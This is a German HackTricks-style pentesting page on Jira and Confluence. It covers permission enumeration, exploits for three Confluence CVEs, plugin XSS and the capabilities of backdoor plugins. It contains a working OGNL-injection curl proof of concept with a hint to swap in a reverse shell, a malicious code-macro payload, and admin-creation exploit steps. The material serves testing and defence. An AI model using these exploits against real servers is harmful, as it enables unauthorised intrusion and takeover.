Jira & Confluence

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Berechtigungen prüfen

In Jira können Berechtigungen von jedem Nutzer überprüft werden, unabhängig davon, ob er authentifiziert ist oder nicht, über die Endpunkte /rest/api/2/mypermissions oder /rest/api/3/mypermissions. Diese Endpunkte zeigen die aktuellen Berechtigungen des Nutzers an. Ein besonderes Problem ergibt sich, wenn nicht-authentifizierte Nutzer Berechtigungen besitzen, was auf eine Sicherheitslücke hinweist, die potenziell für eine bounty relevant sein könnte. Ebenso deuten unerwartete Berechtigungen bei authentifizierten Nutzern ebenfalls auf eine Sicherheitslücke hin.

Ein wichtiges Update wurde am 1. Februar 2019 vorgenommen, das verlangt, dass der ‘mypermissions’-Endpoint einen ‘permission’ Parameter enthalten muss. Diese Anforderung soll die Sicherheit erhöhen, indem die abgefragten Berechtigungen konkretisiert werden: siehe hier

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Beispiel: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Automatisierte Enumeration

Aktuelle RCEs & praktische Exploit-Notizen (Confluence)

CVE-2023-22527 – unauthentifizierte Template-/OGNL-Injection (10.0)

  • Betroffen: Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Die verwundbare Velocity-Vorlage text-inline.vm erlaubt OGNL-Auswertung ohne Authentifizierung.
  • Kurzer PoC (Befehl läuft als confluence-Benutzer):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Der Response-Header x-cmd enthält die Ausgabe des Befehls. Ersetze id durch eine reverse shell payload.
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (in nuclei-templates ≥9.7.5 enthalten).

CVE-2023-22515 – setup reactivation admin creation (auth bypass)

  • Öffentlich erreichbares Confluence Data Center/Server 8.0.0–8.5.1 ermöglicht das Umschalten von setupComplete und das erneute Ausführen von /setup/setupadministrator.action, um ein neues Admin-Konto zu erstellen.
  • Minimaler Exploit-Ablauf:
  1. GET /server-info.action (nicht authentifiziert), um die Erreichbarkeit sicherzustellen.
  2. POST /server-info.action mit buildNumber-Parametern, um das Setup-Flag umzuschalten.
  3. POST /setup/setupadministrator.action mit fullName, email, username, password, confirm, um ein Admin-Konto anzulegen.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Ein Confluence-Admin kann eine manipulierte Sprachdefinition in Configure Code Macro hochladen; die Rhino engine führt eingebetteten Java-Code aus, was zu RCE führt.
  • Für eine Shell lade eine .lang-Datei hoch, die eine Payload wie folgt enthält:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Wird ausgelöst, wenn in einem Code Macro-Body die bösartige Sprache ausgewählt wird. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automatisiert auth + upload + exec.

Atlasian Plugins

Wie in diesem blog, in der Dokumentation zu Plugin modules ↗ ist es möglich, die verschiedenen Arten von Plugins zu prüfen, wie:

Dies ist ein Beispiel für den Macro-Plugin-Typ:

Macro-Plugin-Beispiel ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Es ist möglich zu beobachten, dass diese Plugins anfällig für gängige Web-Schwachstellen wie XSS sein können. Zum Beispiel ist das vorherige Beispiel verwundbar, weil es Daten reflektiert, die vom Benutzer eingegeben wurden.

Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.

## Backdoor-Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beschreibt verschiedene (bösartige) Aktionen, die ein bösartiges Jira-Plugin ausführen könnte. You can find [**code example in this repo**](https://github.com/cyllective/malfluence).

These are some of the actions a malicious plugin could perform:

- **Hiding Plugins from Admins**: Es ist möglich, das bösartige Plugin zu verbergen, indem front-end javascript injiziert wird.
- **Exfiltrating Attachments and Pages**: Ermöglicht Zugriff und Exfiltration aller Daten.
- **Stealing Session Tokens**: Füge einen Endpoint hinzu, der die Header in der Response echoed (mit dem cookie) und etwas javascript, das diesen kontaktiert und leak the cookies.
- **Command Execution**: Natürlich ist es möglich, ein Plugin zu erstellen, das Code ausführt.
- **Reverse Shell**: Oder eine Reverse Shell erhalten.
- **DOM Proxying**: Wenn Confluence sich in einem privaten Netzwerk befindet, wäre es möglich, über den Browser eines Benutzers mit Zugriff eine Verbindung herzustellen und zum Beispiel den Server zu kontaktieren und darüber Befehle auszuführen.

## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>